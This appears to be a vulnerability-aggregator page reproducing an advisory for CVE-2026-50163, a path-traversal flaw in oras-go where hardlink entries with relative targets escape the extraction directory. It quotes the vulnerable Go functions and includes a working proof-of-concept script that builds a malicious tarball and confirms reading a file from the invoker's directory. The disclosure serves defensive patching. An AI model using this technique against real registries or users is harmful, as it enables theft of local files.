oras-go tar extraction: Hardlink entry with relative Linkname escapes extract dir via process CWD resolution
The tar-extraction helper ensureLinkPath at [content/file/utils.go:262-275](https://github.com/oras-project/oras-go/blob/main/content/file/utils.go#L262-L275) validates that a hardlink's target resolves inside the extract base, but then returns the original unresolved target string back to the caller:
```go
func ensureLinkPath(baseAbs, baseRel, link, target string) (string, error) {
path := target
if !filepath.IsAbs(target) {
path = filepath.Join(filepath.Dir(link), target) // resolved FOR VALIDATION
}
if _, err := resolveRelToBase(baseAbs, baseRel, path); err != nil {
return "", err
}
return target, nil // <-- returns the ORIGINAL target, not the validated path
}
```
The caller for TypeLink hardlinks then does:
```go
case tar.TypeLink:
var target string
if target, err = ensureLinkPath(dirPath, dirName, filePath, header.Linkname); err == nil {
err = os.Link(target, filePath)
}
```
os.Link(oldname, newname) wraps the link(2) system call. From the link(2) man page:
> oldpath and newpath are interpreted relative to the current working directory of the calling process.
So when target (i.e., header.Linkname) is a relative path, os.Link resolves it against the process's current working directory, not against filepath.Dir(link) as the validation assumed.
An attacker who controls an OCI-compliant registry (or any artifact source the victim consumes via oras pull) crafts a tarball layer with:
payload.tar.gz/README.txt.Typeflag=TypeLink, Name=payload.tar.gz/evil_cwd_link, Linkname="victim.secret" (relative).and marks the layer descriptor with io.deis.oras.content.unpack: "true" (a standard annotation that tells oras-go to auto-extract).
When a victim runs oras pull (or any Go code using content.File), the extraction:
1. Validates payload.tar.gz/evil_cwd_link — passes.
2. Calls ensureLinkPath(dirPath, "payload.tar.gz", filePath, "victim.secret"):
path = filepath.Join(filepath.Dir(filePath), "victim.secret") = <extract_base>/payload.tar.gz/victim.secret → inside base → validation passes.target = "victim.secret" (NOT path).3. Calls os.Link("victim.secret", "<extract_base>/payload.tar.gz/evil_cwd_link").
4. link(2) resolves relative oldname="victim.secret" against process CWD → creates a hardlink inside the extract tree pointing to <invoker_CWD>/victim.secret.
The resulting hardlink and the CWD file share an inode — reading one reads the other; writing to one writes to the other.
Tested on Ubuntu 24.04.4 LTS with oras CLI v1.3.0 (SHA-256 040e140304b7dbdd9b40dacd798e2303cea44ad84eeb210750afdf15f1dcf8b4, downloaded from <https://github.com/oras-project/oras/releases/download/v1.3.0/oras_1.3.0_linux_amd64.tar.gz>).
Reproduction script (standalone, ~50 lines) attached. Summary of key steps:
```bash
# 1. Place victim file in the future CWD.
mkdir -p cwd-space extract
echo "TOP SECRET FROM CWD" > cwd-space/victim.secret
# 2. Craft malicious tarball with a TypeLink entry whose Linkname is RELATIVE.
python3 -c '
import tarfile, io, os
with tarfile.open("cwd-space/payload.tar.gz", "w:gz", format=tarfile.GNU_FORMAT) as t:
info = tarfile.TarInfo(name="payload.tar.gz/README.txt")
c = b"pulled from registry"; info.size = len(c); info.mode = 0o644
info.uid = os.getuid(); info.gid = os.getgid()
t.addfile(info, io.BytesIO(c))
link = tarfile.TarInfo(name="payload.tar.gz/evil_cwd_link")
link.type = tarfile.LNKTYPE
link.linkname = "victim.secret" # RELATIVE
link.mode = 0o644; link.uid = os.getuid(); link.gid = os.getgid()
t.addfile(link)
'
# 3. Push to OCI layout, patch in the unpack annotation, pull from cwd-space.
(cd cwd-space && oras push --oci-layout ../layout:v1 \
payload.tar.gz:application/vnd.oci.image.layer.v1.tar+gzip)
# ... patch layout/blobs/sha256/<manifest> to add
# io.deis.oras.content.unpack: "true" on layers[0].annotations ...
(cd cwd-space && oras pull --oci-layout ../layout:v1 --output ../extract)
# 4. Observe inode sharing.
stat -c '%i' extract/payload.tar.gz/evil_cwd_link # → 6554160
stat -c '%i' cwd-space/victim.secret # → 6554160 (SAME)
cat extract/payload.tar.gz/evil_cwd_link # → "TOP SECRET FROM CWD"
```
Observed output:
```
evil_cwd_link (inside extract dir): inode=6554160
victim.secret (in invoker CWD): inode=6554160
* ESCAPE CONFIRMED *
Reading through the extract-dir hardlink yields the CWD file contents:
TOP SECRET FROM CWD
```
A library-level regression test is also provided (poc_test.go) that drops into content/file/utils_test.go and runs via go test ./content/file/... -run TestPoC — output shows identical inode match for consumers of the li
This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
CVE-2026-50163 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.
CVE-2026-50163 is recorded against 2 packages.
Published on 1 July 2026 and last revised on 4 August 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.
github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)
oras.land/oras-go/v2 has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| oras.land/oras-go/v2 | — | — |
| unknown | — | — |
References
Similar Threats
Site Security Check
CVE-2026-50163 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.